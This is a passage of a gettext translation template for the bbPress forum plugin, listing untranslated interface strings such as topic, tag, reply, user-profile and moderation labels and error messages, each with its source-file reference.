msgstr ""

#: includes/topics/functions.php:1822
msgid ""
"<strong>Error</strong>: The following problem(s) have been found while "
"deleting the tag: %s"
msgstr ""

#: includes/topics/functions.php:2018
msgid "<strong>Error</strong>: This topic could not be found or no longer exists."
msgstr ""

#: includes/topics/functions.php:2108
msgid "<strong>Error</strong>: There was a problem approving the topic."
msgstr ""

#: includes/topics/functions.php:2109
msgid "<strong>Error</strong>: There was a problem unapproving the topic."
msgstr ""

#: includes/topics/functions.php:2126
msgid "<strong>Error</strong>: There was a problem closing the topic."
msgstr ""

#: includes/topics/functions.php:2127
msgid "<strong>Error</strong>: There was a problem opening the topic."
msgstr ""

#: includes/topics/functions.php:2145
msgid "<strong>Error</strong>: There was a problem unsticking the topic."
msgstr ""

#: includes/topics/functions.php:2146
msgid "<strong>Error</strong>: There was a problem sticking the topic."
msgstr ""

#: includes/topics/functions.php:2164
msgid "<strong>Error</strong>: There was a problem unmarking the topic as spam."
msgstr ""

#: includes/topics/functions.php:2165
msgid "<strong>Error</strong>: There was a problem marking the topic as spam."
msgstr ""

#: includes/topics/functions.php:2178
msgid "<strong>Error</strong>: There was a problem trashing the topic."
msgstr ""

#: includes/topics/functions.php:2189
msgid "<strong>Error</strong>: There was a problem untrashing the topic."
msgstr ""

#: includes/topics/functions.php:2198
msgid "<strong>Error</strong>: There was a problem deleting the topic."
msgstr ""

#: includes/topics/template.php:52 templates/default/bbpress/form-topic.php:48
msgid "Create New Topic"
msgstr ""

#: includes/topics/template.php:54
msgid "Edit Topic"
msgstr ""

#: includes/topics/template.php:55
msgid "New Topic"
msgstr ""

#: includes/topics/template.php:56 includes/topics/template.php:57
msgid "View Topic"
msgstr ""

#: includes/topics/template.php:58
msgid "View Topics"
msgstr ""

#: includes/topics/template.php:59
msgid "Search Topics"
msgstr ""

#: includes/topics/template.php:60
msgid "No topics found"
msgstr ""

#: includes/topics/template.php:61
msgid "No topics found in Trash"
msgstr ""

#: includes/topics/template.php:62
msgid "Filter topics list"
msgstr ""

#: includes/topics/template.php:63
msgid "Topics list"
msgstr ""

#: includes/topics/template.php:64
msgid "Topics list navigation"
msgstr ""

#: includes/topics/template.php:66
msgid "Forum Topics"
msgstr ""

#: includes/topics/template.php:68
msgid "Insert into topic"
msgstr ""

#: includes/topics/template.php:69
msgid "Uploaded to this topic"
msgstr ""

#: includes/topics/template.php:70
msgid "Topic Image"
msgstr ""

#: includes/topics/template.php:71
msgid "Set topic image"
msgstr ""

#: includes/topics/template.php:72
msgid "Remove topic image"
msgstr ""

#: includes/topics/template.php:73
msgid "Use as topic image"
msgstr ""

#: includes/topics/template.php:74
msgid "Topic published."
msgstr ""

#: includes/topics/template.php:75
msgid "Topic published privately."
msgstr ""

#: includes/topics/template.php:76
msgid "Topic reverted to draft."
msgstr ""

#: includes/topics/template.php:77
msgid "Topic scheduled."
msgstr ""

#: includes/topics/template.php:928
msgid "This topic was modified %1$s by %2$s. Reason: %3$s"
msgstr ""

#: includes/topics/template.php:930
msgid "This topic was modified %1$s by %2$s."
msgstr ""

#: includes/topics/template.php:1829 includes/users/template.php:1081
msgid "Favorite"
msgstr ""

#: includes/topics/template.php:1830 includes/users/template.php:1082
msgid "Unfavorite"
msgstr ""

#: includes/topics/template.php:2195
msgid "Tagged:"
msgstr ""

#: includes/topics/template.php:2756
#: templates/default/bbpress/form-topic-tag.php:69
#: templates/default/bbpress/form-topic-tag.php:85
msgid "Merge"
msgstr ""

#: includes/topics/template.php:2995
msgid "Viewing %1$s topic"
msgid_plural "Viewing %1$s topics"
msgstr[0] ""
msgstr[1] ""

#: includes/topics/template.php:2999
msgid "Viewing topic %2$s (of %4$s total)"
msgid_plural "Viewing %1$s topics - %2$s through %3$s (of %4$s total)"
msgstr[0] ""
msgstr[1] ""

#: includes/topics/template.php:3056
msgid "This topic is marked as spam."
msgstr ""

#: includes/topics/template.php:3061
msgid "This topic is in the trash."
msgstr ""

#: includes/topics/template.php:3066 includes/topics/template.php:3334
msgid "This topic is pending moderation."
msgstr ""

#: includes/topics/template.php:3316
msgid "%s voice"
msgid_plural "%s voices"
msgstr[0] ""
msgstr[1] ""

#: includes/topics/template.php:3322
msgid "This topic has %1$s, %2$s, and was last updated %3$s by %4$s."
msgstr ""

#: includes/topics/template.php:3326
msgid "This topic has %1$s and %2$s."
msgstr ""

#: includes/topics/template.php:3330
msgid "This topic has no replies."
msgstr ""

#: includes/topics/template.php:3338
msgid "This topic is empty."
msgstr ""

#: includes/topics/template.php:3388
msgid "Search Tags"
msgstr ""

#: includes/topics/template.php:3389
msgid "Popular Tags"
msgstr ""

#: includes/topics/template.php:3390
msgid "All Tags"
msgstr ""

#: includes/topics/template.php:3391
msgid "Parent Tag"
msgstr ""

#: includes/topics/template.php:3392
msgid "Parent Tag:"
msgstr ""

#: includes/topics/template.php:3393
msgid "Edit Tag"
msgstr ""

#: includes/topics/template.php:3394
msgid "View Topic Tag"
msgstr ""

#: includes/topics/template.php:3395
msgid "Update Tag"
msgstr ""

#: includes/topics/template.php:3396
msgid "Add New Tag"
msgstr ""

#: includes/topics/template.php:3397
msgid "New Tag Name"
msgstr ""

#: includes/topics/template.php:3398
msgid "Separate topic tags with commas"
msgstr ""

#: includes/topics/template.php:3399
msgid "Add or remove tags"
msgstr ""

#: includes/topics/template.php:3400
msgid "Choose from the most used tags"
msgstr ""

#: includes/topics/template.php:3401
msgid "No topic tags found."
msgstr ""

#: includes/topics/template.php:3402
msgid "No topic tags"
msgstr ""

#: includes/topics/template.php:3403
msgid "Topic tags list navigation"
msgstr ""

#: includes/topics/template.php:3404
msgid "Topic tags list"
msgstr ""

#: includes/topics/template.php:3405
msgid "Most used topic tags"
msgstr ""

#: includes/topics/template.php:3406
msgid "&larr; Back to Tags"
msgstr ""

#: includes/topics/template.php:4021
msgid "Nobody"
msgstr ""

#: includes/topics/template.php:4025
msgid "%1$s is currently editing this topic."
msgstr ""

#: includes/users/engagements.php:608
msgid ""
"<strong>Error</strong>: No topic was found. Which topic are you "
"marking/unmarking as favorite?"
msgstr ""

#: includes/users/engagements.php:616
msgid ""
"<strong>Error</strong>: You do not have permission to edit favorites for "
"that user."
msgstr ""

#: includes/users/engagements.php:657
msgid ""
"<strong>Error</strong>: There was a problem removing that topic from "
"favorites."
msgstr ""

#: includes/users/engagements.php:659
msgid "<strong>Error</strong>: There was a problem favoriting that topic."
msgstr ""

#: includes/users/engagements.php:849
msgid ""
"<strong>Error</strong>: Not found. What are you subscribing/unsubscribing "
"to?"
msgstr ""

#: includes/users/engagements.php:857
msgid ""
"<strong>Error</strong>: You do not have permission to edit subscriptions of "
"that user."
msgstr ""

#: includes/users/engagements.php:900
msgid "<strong>Error</strong>: There was a problem unsubscribing."
msgstr ""

#: includes/users/engagements.php:902
msgid "<strong>Error</strong>: There was a problem subscribing."
msgstr ""

#: includes/users/functions.php:208 includes/users/functions.php:220
msgid "<strong>Error</strong>: That is not a valid email address."
msgstr ""

#: includes/users/functions.php:226 includes/users/functions.php:343
msgid "<strong>Error</strong>: That email address is already in use."
msgstr ""

#: includes/users/functions.php:406
msgid "<strong>Error</strong>: An error occurred while updating your email address."
msgstr ""

#: includes/users/functions.php:418
msgid ""
"%1$s\n"
"\n"
"Someone requested a change to the email address on your account.\n"
"\n"
"Please click the following link to confirm this change:\n"
"%2$s\n"
"\n"
"If you did not request this, you can safely ignore and delete this "
"notification.\n"
"\n"
"This email was sent to: %3$s\n"
"\n"
"Regards,\n"
"The %4$s Team\n"
"%5$s"
msgstr ""

#: includes/users/functions.php:453
msgid "[%s] New Email Address"
msgstr ""

#: includes/users/signups.php:209
msgid "<strong>Error</strong>: Empty role."
msgstr ""

#: includes/users/signups.php:214
msgid "<strong>Error</strong>: Invalid role."
msgstr ""

#: includes/users/template.php:683
msgid "Guest"
msgstr ""

#: includes/users/template.php:687
msgid "Inactive"
msgstr ""

#: includes/users/template.php:697
msgid "Member"
msgstr ""

#: includes/users/template.php:738
msgid "Admin"
msgstr ""

#: includes/users/template.php:1375
msgid "User updated."
msgstr ""

#: includes/users/template.php:1419
msgid "There is a pending email address change to %1$s. %2$s"
msgstr ""

#: includes/users/template.php:1436
msgid "You have super admin privileges."
msgstr ""

#: includes/users/template.php:1436
msgid "This user has super admin privileges."
msgstr ""

#: includes/users/template.php:1510
msgid "&mdash; No role for this site &mdash;"
msgstr ""

#: includes/users/template.php:1830
msgid "You are now logged out."
msgstr ""

#: includes/users/template.php:1834
msgid "New user registration is currently not allowed."
msgstr ""

#: includes/users/template.php:1843
msgid "Check your e-mail for the confirmation link."
msgstr ""

#: includes/users/template.php:1848
msgid "Check your e-mail for your new password."
msgstr ""

#: includes/users/template.php:1853
msgid "Registration complete. Please check your e-mail."
msgstr ""

#: includes/users/template.php:2375
msgid "Moderators:"
msgstr ""

#: templates/default/bbpress/alert-topic-lock.php:21
msgid "Leave"
msgstr ""

#: templates/default/bbpress/alert-topic-lock.php:22
msgid "Stay"
msgstr ""

#: templates/default/bbpress/content-statistics.php:20
msgid "Registered Users"
msgstr ""

#: templates/default/bbpress/content-statistics.php:47
msgid "Empty Topic Tags"
msgstr ""

#: templates/default/bbpress/content-statistics.php:56
msgid "Hidden Topics"
msgstr ""

#: templates/default/bbpress/content-statistics.php:67
msgid "Hidden Replies"
msgstr ""

#: templates/default/bbpress/feedback-logged-in.php:17
msgid "You are already logged in."
msgstr ""

#: templates/default/bbpress/feedback-no-access.php:16
msgid "Private"
msgstr ""

#: templates/default/bbpress/feedback-no-access.php:20
msgid "You do not have permission to view this forum."
msgstr ""

#: templates/default/bbpress/feedback-no-forums.php:17
msgid "Oh, bother! No forums were found here."
msgstr ""

#: templates/default/bbpress/feedback-no-replies.php:17
msgid "Oh, bother! No replies were found here."
msgstr ""

#: templates/default/bbpress/feedback-no-search.php:17
msgid "Oh, bother! No search results were found here."
msgstr ""

#: templates/default/bbpress/feedback-no-topics.php:17
msgid "Oh, bother! No topics were found here."
msgstr ""

#: templates/default/bbpress/form-anonymous.php:18
msgid "Your information:"
msgstr ""

#: templates/default/bbpress/form-anonymous.php:23
msgid "Name (required):"
msgstr ""

#: templates/default/bbpress/form-anonymous.php:28
msgid "Mail (will not be published) (required):"
msgstr ""

#: templates/default/bbpress/form-forum.php:36
#: templates/default/bbpress/form-topic.php:44
msgid "Now Editing &ldquo;%s&rdquo;"
msgstr ""

#: templates/default/bbpress/form-forum.php:39
msgid "Create New Forum in &ldquo;%s&rdquo;"
msgstr ""

#: templates/default/bbpress/form-forum.php:52
#: templates/default/bbpress/form-reply.php:48
msgid ""
"This forum is closed to new content, however your posting capabilities "
"still allow you to post."
msgstr ""

#: templates/default/bbpress/form-forum.php:62
#: templates/default/bbpress/form-reply.php:58
#: templates/default/bbpress/form-topic.php:70
msgid "Your account has the ability to post unrestricted HTML content."
msgstr ""

#: templates/default/bbpress/form-forum.php:75
msgid "Forum Name (Maximum Length: %d):"
msgstr ""

#: templates/default/bbpress/form-forum.php:90
#: templates/default/bbpress/form-reply.php:79
msgid ""
"You may use these <abbr title=\"HyperText Markup Language\">HTML</abbr> "
"tags and attributes:"
msgstr ""

#: templates/default/bbpress/form-forum.php:101
msgid "Forum Moderators:"
msgstr ""

#: templates/default/bbpress/form-forum.php:112
msgid "Forum Type:"
msgstr ""

#: templates/default/bbpress/form-forum.php:159
#: templates/default/bbpress/form-reply-move.php:81
#: templates/default/bbpress/form-reply.php:176
#: templates/default/bbpress/form-topic-merge.php:103
#: templates/default/bbpress/form-topic-split.php:107
#: templates/default/bbpress/form-topic.php:213
msgid "Submit"
msgstr ""

#: templates/default/bbpress/form-forum.php:183
msgid "The forum &#8216;%s&#8217; is closed to new content."
msgstr ""

#: templates/default/bbpress/form-forum.php:194
msgid "You cannot create new forums."
msgstr ""

#: templates/default/bbpress/form-forum.php:195
msgid "You must be logged in to create new forums."
msgstr ""

#: templates/default/bbpress/form-protected.php:17
msgid "Protected"
msgstr ""

#: templates/default/bbpress/form-reply-move.php:27
msgid "Move reply \"%s\""
msgstr ""

#: templates/default/bbpress/form-reply-move.php:33
msgid ""
"You can either make this reply a new topic with a new title, or merge it "
"into an existing topic."
msgstr ""

#: templates/default/bbpress/form-reply-move.php:39
msgid ""
"If you choose an existing topic, replies will be ordered by the time and "
"date they were created."
msgstr ""

#: templates/default/bbpress/form-reply-move.php:44
msgid "Move Method"
msgstr ""

#: templates/default/bbpress/form-reply-move.php:48
#: templates/default/bbpress/form-topic-split.php:48
msgid "New topic in %s titled:"
msgstr ""

#: templates/default/bbpress/form-reply-move.php:49
msgid "Moved: %s"
msgstr ""

#: templates/default/bbpress/form-reply-move.php:56
#: templates/default/bbpress/form-topic-split.php:56
msgid "Use an existing topic in this forum:"
msgstr ""

#: templates/default/bbpress/form-reply-move.php:95
msgid "You do not have permission to edit this reply."
msgstr ""

#: templates/default/bbpress/form-reply-move.php:96
msgid "You cannot edit this reply."
msgstr ""

#: templates/default/bbpress/form-reply-search.php:18
msgid "Search replies:"
msgstr ""

#: templates/default/bbpress/form-reply.php:30
msgid "Reply #%1$s in %2$s"
msgstr ""

#: templates/default/bbpress/form-reply.php:38
msgid ""
"This topic is marked as closed to new replies, however your posting "
"capabilities still allow you to reply."
msgstr ""

#: templates/default/bbpress/form-reply.php:90
msgid "Tags:"
msgstr ""

#: templates/default/bbpress/form-reply.php:108
#: templates/default/bbpress/form-topic.php:174
msgid "Notify the author of follow-up replies via email"
msgstr ""

#: templates/default/bbpress/form-reply.php:112
#: templates/default/bbpress/form-topic.php:178
msgid "Notify me of follow-up replies via email"
msgstr ""

#: templates/default/bbpress/form-reply.php:138
msgid "Reply Status:"
msgstr ""

#: templates/default/bbpress/form-reply.php:153
#: templates/default/bbpress/form-topic.php:194
msgid "Keep a log of this edit:"
msgstr ""

#: templates/default/bbpress/form-reply.php:157
#: templates/default/bbpress/form-topic.php:198
msgid "Optional reason for editing:"
msgstr ""

#: templates/default/bbpress/form-reply.php:200
msgid "The topic &#8216;%s&#8217; is closed to new replies."
msgstr ""

#: templates/default/bbpress/form-reply.php:210
#: templates/default/bbpress/form-topic.php:237
msgid "The forum &#8216;%s&#8217; is closed to new topics and replies."
msgstr ""

#: templates/default/bbpress/form-reply.php:221
msgid "You cannot reply to this topic."
msgstr ""

#: templates/default/bbpress/form-reply.php:222
msgid "You must be logged in to reply to this topic."
msgstr ""

#: templates/default/bbpress/form-search.php:18
msgid "Search for:"
msgstr ""

#: templates/default/bbpress/form-topic-merge.php:27
msgid "Merge topic \"%s\""
msgstr ""

#: templates/default/bbpress/form-topic-merge.php:33
msgid ""
"Select the topic to merge this one into. The destination topic will remain "
"the lead topic, and this one will change into a reply."
msgstr ""

#: templates/default/bbpress/form-topic-merge.php:34
msgid ""
"To keep this topic as the lead, go to the other topic and use the merge "
"tool from there instead."
msgstr ""

#: templates/default/bbpress/form-topic-merge.php:40
msgid ""
"Replies to both topics are merged chronologically, ordered by the time and "
"date they were published. Topics may be updated to a 1 second difference to "
"maintain chronological order based on the merge direction."
msgstr ""

#: templates/default/bbpress/form-topic-merge.php:45
msgid "Destination"
msgstr ""

#: templates/default/bbpress/form-topic-merge.php:49
msgid "Merge with this topic:"
msgstr ""

#: templates/default/bbpress/form-topic-merge.php:64
msgid "There are no other topics in this forum to merge with."
msgstr ""

#: templates/default/bbpress/form-topic-merge.php:72
#: templates/default/bbpress/form-topic-split.php:76
msgid "Topic Extras"
msgstr ""

#: templates/default/bbpress/form-topic-merge.php:79
msgid "Merge topic subscribers"
msgstr ""

#: templates/default/bbpress/form-topic-merge.php:84
msgid "Merge topic favoriters"
msgstr ""

#: templates/default/bbpress/form-topic-merge.php:89
msgid "Merge topic tags"
msgstr ""

#: templates/default/bbpress/form-topic-merge.php:117
#: templates/default/bbpress/form-topic-split.php:121
msgid "You do not have permission to edit this topic."
msgstr ""

#: templates/default/bbpress/form-topic-merge.php:118
#: templates/default/bbpress/form-topic-split.php:122
msgid "You cannot edit this topic."
msgstr ""

#: templates/default/bbpress/form-topic-search.php:18
msgid "Search topics:"
msgstr ""

#: templates/default/bbpress/form-topic-split.php:27
msgid "Split topic \"%s\""
msgstr ""

#: templates/default/bbpress/form-topic-split.php:33
msgid ""
"When you split a topic, you are slicing it in half starting with the reply "
"you just selected. Choose to use that reply as a new topic with a new "
"title, or merge those replies into an existing topic."
msgstr ""

#: templates/default/bbpress/form-topic-split.php:39
msgid ""
"If you use the existing topic option, replies within both topics will be "
"merged chronologically. The order of the merged replies is based on the "
"time and date they were posted."
msgstr ""

#: templates/default/bbpress/form-topic-split.php:44
msgid "Split Method"
msgstr ""

#: templates/default/bbpress/form-topic-split.php:49
msgid "Split: %s"
msgstr ""

#: templates/default/bbpress/form-topic-split.php:83
msgid "Copy subscribers to the new topic"
msgstr ""

#: templates/default/bbpress/form-topic-split.php:88
msgid "Copy favoriters to the new topic"
msgstr ""

#: templates/default/bbpress/form-topic-split.php:93
msgid "Copy topic tags to the new topic"
msgstr ""

#: templates/default/bbpress/form-topic-tag.php:19
msgid "Manage Tag: \"%s\""
msgstr ""

#: templates/default/bbpress/form-topic-tag.php:23
msgid "Rename"
msgstr ""

#: templates/default/bbpress/form-topic-tag.php:27
msgid "Leave the slug empty to have one automatically generated."
msgstr ""

#: templates/default/bbpress/form-topic-tag.php:33
msgid ""
"Changing the slug affects its permalink. Any links to the old slug will "
"stop working."
msgstr ""

#: templates/default/bbpress/form-topic-tag.php:45
msgid "Slug:"
msgstr ""

#: templates/default/bbpress/form-topic-tag.php:50
msgid "Description:"
msgstr ""

#: templates/default/bbpress/form-topic-tag.php:55
msgid "Update"
msgstr ""

#: templates/default/bbpress/form-topic-tag.php:73
msgid "Merging tags together cannot be undone."
msgstr ""

#: templates/default/bbpress/form-topic-tag.php:80
msgid "Existing tag:"
msgstr ""

#: templates/default/bbpress/form-topic-tag.php:85
msgid "Are you sure you want to merge the \"%s\" tag into the tag you specified?"
msgstr ""

#: templates/default/bbpress/form-topic-tag.php:104
msgid "This does not delete your topics. Only the tag itself is deleted."
msgstr ""

#: templates/default/bbpress/form-topic-tag.php:109
msgid "Deleting a tag cannot be undone."
msgstr ""

#: templates/default/bbpress/form-topic-tag.php:110
msgid "Any links to this tag will no longer function."
msgstr ""

#: templates/default/bbpress/form-topic-tag.php:117
msgid ""
"Are you sure you want to delete the \"%s\" tag? This is permanent and "
"cannot be undone."
msgstr ""

#: templates/default/bbpress/form-topic.php:47
msgid "Create New Topic in &ldquo;%s&rdquo;"
msgstr ""

#: templates/default/bbpress/form-topic.php:60
msgid ""
"This forum is marked as closed to new topics, however your posting "
"capabilities still allow you to create a topic."
msgstr ""

#: templates/default/bbpress/form-topic.php:85
msgid "Topic Title (Maximum Length: %d):"
msgstr ""

#: templates/default/bbpress/form-topic.php:100
msgid "You may use these %s tags and attributes:"
msgstr ""

#: templates/default/bbpress/form-topic.php:111
msgid "Topic Tags:"
msgstr ""

#: templates/default/bbpress/form-topic.php:143
msgid "Topic Type:"
msgstr ""

#: templates/default/bbpress/form-topic.php:155
msgid "Topic Status:"
msgstr ""

#: templates/default/bbpress/form-topic.php:248
msgid "You cannot create new topics."
msgstr ""

#: templates/default/bbpress/form-topic.php:249
msgid "You must be logged in to create new topics."
msgstr ""

#: templates/default/bbpress/form-user-edit.php:27
msgid "First Name"
msgstr ""

#: templates/default/bbpress/form-user-edit.php:32
msgid "Last Name"
msgstr ""

#: templates/default/bbpress/form-user-edit.php:37
msgid "Nickname"
msgstr ""

#: templates/default/bbpress/form-user-edit.php:42
msgid "Display Name"
msgstr ""

#: templates/default/bbpress/form-user-edit.php:52
#: templates/default/bbpress/form-user-edit.php:55
msgid "Contact Info"
msgstr ""

#: templates/default/bbpress/form-user-edit.php:78
#: templates/default/bbpress/form-user-edit.php:84
msgid "About Yourself"
msgstr ""

#: templates/default/bbpress/form-user-edit.php:79
#: templates/default/bbpress/form-user-edit.php:85
msgid "About the user"
msgstr ""

#: templates/default/bbpress/form-user-edit.php:91
msgid "Biographical Info"
msgstr ""

#: templates/default/bbpress/form-user-edit.php:99
#: templates/default/bbpress/form-user-edit.php:102
msgid "Account"
msgstr ""

#: templates/default/bbpress/form-user-edit.php:119
msgid "Language"
msgstr ""

#: templates/default/bbpress/form-user-edit.php:131
#: templates/default/bbpress/form-user-edit.php:134
msgid "User Role"
msgstr ""

#: templates/default/bbpress/form-user-edit.php:141
msgid "Network Role"
msgstr ""

#: templates/default/bbpress/form-user-edit.php:144
msgid "Grant this user super admin privileges for the Network."
msgstr ""

#: templates/default/bbpress/form-user-edit.php:167
msgid "Update Profile"
msgstr ""

#: templates/default/bbpress/form-user-edit.php:168
msgid "Update User"
msgstr ""

#: templates/default/bbpress/form-user-lost-pass.php:21
msgid "Username or Email"
msgstr ""

#: templates/default/bbpress/form-user-lost-pass.php:30
msgid "Reset My Password"
msgstr ""

#: templates/default/bbpress/form-user-passwords.php:18
msgid "Generate Password"
msgstr ""

#: templates/default/bbpress/form-user-passwords.php:26
msgid "Hide password"
msgstr ""

#: templates/default/bbpress/form-user-passwords.php:28
msgid "Hide"
msgstr ""

#: templates/default/bbpress/form-user-passwords.php:29
msgid "Cancel password change"
msgstr ""

#: templates/default/bbpress/form-user-passwords.php:40
msgid "Repeat New Password"
msgstr ""

#: templates/default/bbpress/form-user-passwords.php:42
msgid "Type your new password again."
msgstr ""

#: templates/default/bbpress/form-user-passwords.php:46
msgid "Confirm"
msgstr ""

#: templates/default/bbpress/form-user-register.php:17
msgid "Create an Account"
msgstr ""

#: templates/default/bbpress/form-user-register.php:23
msgid "Your username must be unique, and cannot be changed later."
msgstr ""

#: templates/default/bbpress/form-user-register.php:24
msgid ""
"We use your email address to email you a secure password and verify your "
"account."
msgstr ""

#: templates/default/bbpress/form-user-roles.php:16
msgid "Blog Role"
msgstr ""

#: templates/default/bbpress/loop-search-forum.php:17
msgid "Last updated %s"
msgstr ""

#: templates/default/bbpress/loop-search-reply.php:22
msgid "In reply to: "
msgstr ""

#: templates/default/bbpress/loop-search-topic.php:32
msgid "in group forum "
msgstr ""

#: templates/default/bbpress/loop-search-topic.php:36
msgid "in forum "
msgstr ""

#: templates/default/bbpress/loop-search.php:23
#: templates/default/bbpress/loop-search.php:45
msgid "Search Results"
msgstr ""

#: templates/default/bbpress/loop-single-reply.php:22
msgid "in reply to: "
msgstr ""

#: templates/default/bbpress/loop-single-topic.php:62
msgid "Started by: %1$s"
msgstr ""

#: templates/default/bbpress/loop-single-topic.php:70
msgid "in: %1$s"
msgstr ""

#: templates/default/bbpress/user-details.php:30
#: templates/default/bbpress/user-profile.php:18
msgid "Profile"
msgstr ""

#: templates/default/bbpress/user-details.php:36
msgid "%s's Topics Started"
msgstr ""

#: templates/default/bbpress/user-details.php:42
msgid "%s's Replies Created"
msgstr ""

#: templates/default/bbpress/user-details.php:49
msgid "%s's Engagements"
msgstr ""

#: templates/default/bbpress/user-engagements.php:19
msgid "Topics Engaged In"
msgstr ""

#: templates/default/bbpress/user-favorites.php:19
msgid "Favorite Forum Topics"
msgstr ""

#: templates/default/bbpress/user-profile.php:19
msgid "Registered: %s"
msgstr ""

#: templates/default/bbpress/user-profile.php:29
msgid "Website: %s"
msgstr ""

#: templates/default/bbpress/user-profile.php:38
msgid "Last Activity: %s"
msgstr ""

#: templates/default/bbpress/user-profile.php:42
msgid "Topics Started: %s"
msgstr ""

#: templates/default/bbpress/user-profile.php:43
msgid "Replies Created: %s"
msgstr ""

#: templates/default/bbpress/user-profile.php:44
msgid "Forum Role: %s"
msgstr ""

#: templates/default/bbpress/user-replies-created.php:19
msgid "Forum Replies Created"
msgstr ""

#: templates/default/bbpress/user-subscriptions.php:23
msgid "Subscribed Forums"
msgstr ""

#: templates/default/bbpress/user-topics-created.php:19
msgid "Forum Topics Started"
msgstr ""

#: templates/default/bbpress-functions.php:219
msgid "Something went wrong. Refresh your browser and try again."
msgstr ""

#: templates/default/bbpress-functions.php:233
msgid "Favorites are no longer active."
msgstr ""

#: templates/default/bbpress-functions.php:238
msgid "Please login to favorite."
msgstr ""

#: templates/default/bbpress-functions.php:248
#: templates/default/bbpress-functions.php:311
msgid "You do not have permission to do this."
msgstr ""

#: templates/default/bbpress-functions.php:258
msgid "Favorite failed."
msgstr ""

#: templates/default/bbpress-functions.php:263
#: templates/default/bbpress-functions.php:326
msgid "Are you sure you meant to do that?"
msgstr ""

#: templates/default/bbpress-functions.php:273
#: templates/default/bbpress-functions.php:336
msgid "The request was unsuccessful. Please try again."
msgstr ""

#: templates/default/bbpress-functions.php:296
msgid "Subscriptions are no longer active."
msgstr ""

#: templates/default/bbpress-functions.php:301
msgid "Please login to subscribe."
msgstr ""

#: templates/default/bbpress-functions.php:321
msgid "Subscription failed."
msgstr ""

#: templates/default/extras/page-forum-statistics.php:22
msgid "Here are the statistics and popular topics of our forums."
msgstr ""

#: templates/default/extras/page-topic-tags.php:22
msgid "This is a collection of tags that are currently popular on our forums."
msgstr ""

#. Plugin Name of the plugin/theme
msgid "bbPress"
msgstr ""

#. Author URI of the plugin/theme
msgid "https://bbpress.org"
msgstr ""

#. Description of the plugin/theme
msgid "bbPress is forum software with a twist from the creators of WordPress."
msgstr ""

#. Author of the plugin/theme
msgid "The bbPress Contributors"
msgstr ""

#: bbpress.php:599
msgctxt "post"
msgid "Closed"
msgstr ""

#: bbpress.php:600
msgctxt "post"
msgid "Closed <span class=\"count\">(%s)</span>"
msgid_plural "Closed <span class=\"count\">(%s)</span>"
msgstr[0] ""
msgstr[1] ""

#: bbpress.php:612
msgctxt "post"
msgid "Spam"
msgstr ""

#: bbpress.php:613
msgctxt "post"
msgid "Spam <span class=\"count\">(%s)</span>"
msgid_plural "Spam <span class=\"count\">(%s)</span>"
msgstr[0] ""
msgstr[1] ""

#: bbpress.php:626
msgctxt "post"
msgid "Orphan"
msgstr ""

#: bbpress.php:627
msgctxt "post"
msgid "Orphan <span class=\"count\">(%s)</span>"
msgid_plural "Orphans <span class=\"count\">(%s)</span>"
msgstr[0] ""
msgstr[1] ""

#: bbpress.php:640
msgctxt "post"
msgid "Hidden"
msgstr ""

#: bbpress.php:641
msgctxt "post"
msgid "Hidden <span class=\"count\">(%s)</span>"
msgid_plural "Hidden <span class=\"count\">(%s)</span>"
msgstr[0] ""
msgstr[1] ""

#: includes/admin/classes/class-bbp-admin.php:834
msgctxt "admin color scheme"
msgid "Mint"
msgstr ""

#: includes/admin/classes/class-bbp-admin.php:843
msgctxt "admin color scheme"
msgid "Evergreen"
msgstr ""

#: includes/admin/forums.php:631
msgctxt "Close a Forum"
msgid "Close"
msgstr ""

#: includes/admin/forums.php:633
msgctxt "Open a Forum"
msgid "Open"
msgstr ""

#: includes/admin/replies.php:809
msgctxt "Unapprove reply"
msgid "Unapprove"
msgstr ""

#: includes/admin/replies.php:811
msgctxt "Approve reply"
msgid "Approve"
msgstr ""

#: includes/admin/settings.php:384 includes/replies/template.php:51
msgctxt "noun"
msgid "Reply"
msgstr ""

#: includes/admin/topics.php:985
msgctxt "Unapprove Topic"
msgid "Unapprove"
msgstr ""

#: includes/admin/topics.php:990
msgctxt "Approve Topic"
msgid "Approve"
msgstr ""

#: includes/admin/topics.php:1002
msgctxt "Close a Topic"
msgid "Close"
msgstr ""

#: includes/admin/topics.php:1004
msgctxt "Open a Topic"
msgid "Open"
msgstr ""

#: includes/common/formatting.php:728
msgctxt "Separator in time since"
msgid ","
msgstr ""

#: includes/common/locale.php:44
#. translators: user role
msgctxt "User role"
msgid "Keymaster"
msgstr ""

#: includes/common/locale.php:47
#. translators: user role
msgctxt "User role"
msgid "Moderator"
msgstr ""

#: includes/common/locale.php:50
#. translators: user role
msgctxt "User role"
msgid "Participant"
msgstr ""

#: includes/common/locale.php:53
#. translators: user role
msgctxt "User role"
msgid "Spectator"
msgstr ""

#: includes/common/locale.php:56
#. translators: user role
msgctxt "User role"
msgid "Blocked"
msgstr ""

#: includes/common/widgets.php:801
msgctxt "widgets"
msgid "by %1$s"
msgstr ""

#: includes/common/widgets.php:1146
#. translators: 1: reply author, 2: reply link, 3: reply timestamp
msgctxt "widgets"
msgid "%1$s on %2$s %3$s"
msgstr ""

#: includes/common/widgets.php:1156
#. translators: 1: reply author, 2: reply link
msgctxt "widgets"
msgid "%1$s on %2$s"
msgstr ""

#: includes/extend/buddypress/groups.php:628
msgctxt "group admin edit screen"
msgid "Discussion Forum"
msgstr ""

#: includes/forums/functions.php:2067
msgctxt "Open the forum"
msgid "Open"
msgstr ""

#: includes/forums/functions.php:2068
msgctxt "Close the forum"
msgid "Closed"
msgstr ""

#: includes/forums/functions.php:2085
msgctxt "Forum accepts new topics"
msgid "Forum"
msgstr ""

#: includes/forums/functions.php:2086
msgctxt "Forum is a category"
msgid "Category"
msgstr ""

#: includes/forums/functions.php:2106
msgctxt "Make forum public"
msgid "Public"
msgstr ""

#: includes/forums/functions.php:2107
msgctxt "Make forum private"
msgid "Private"
msgstr ""

#: includes/forums/functions.php:2108
msgctxt "Make forum hidden"
msgid "Hidden"
msgstr ""

#: includes/replies/functions.php:1653
msgctxt "Publish the reply"
msgid "Publish"
msgstr ""

#: includes/replies/functions.php:1654
msgctxt "Spam the reply"
msgid "Spam"
msgstr ""

#: includes/replies/functions.php:1655
msgctxt "Trash the reply"
msgid "Trash"
msgstr ""

#: includes/replies/functions.php:1656
msgctxt "Mark reply as pending"
msgid "Pending"
msgstr ""

#: includes/replies/template.php:674 includes/topics/template.php:765
msgctxt "date at time"
msgid "%1$s at %2$s"
msgstr ""

#: includes/replies/template.php:1580 includes/topics/template.php:2853
msgctxt "verb"
msgid "Reply"
msgstr ""

#: includes/replies/template.php:2201
msgctxt "Pending Status"
msgid "Approve"
msgstr ""

#: includes/replies/template.php:2202
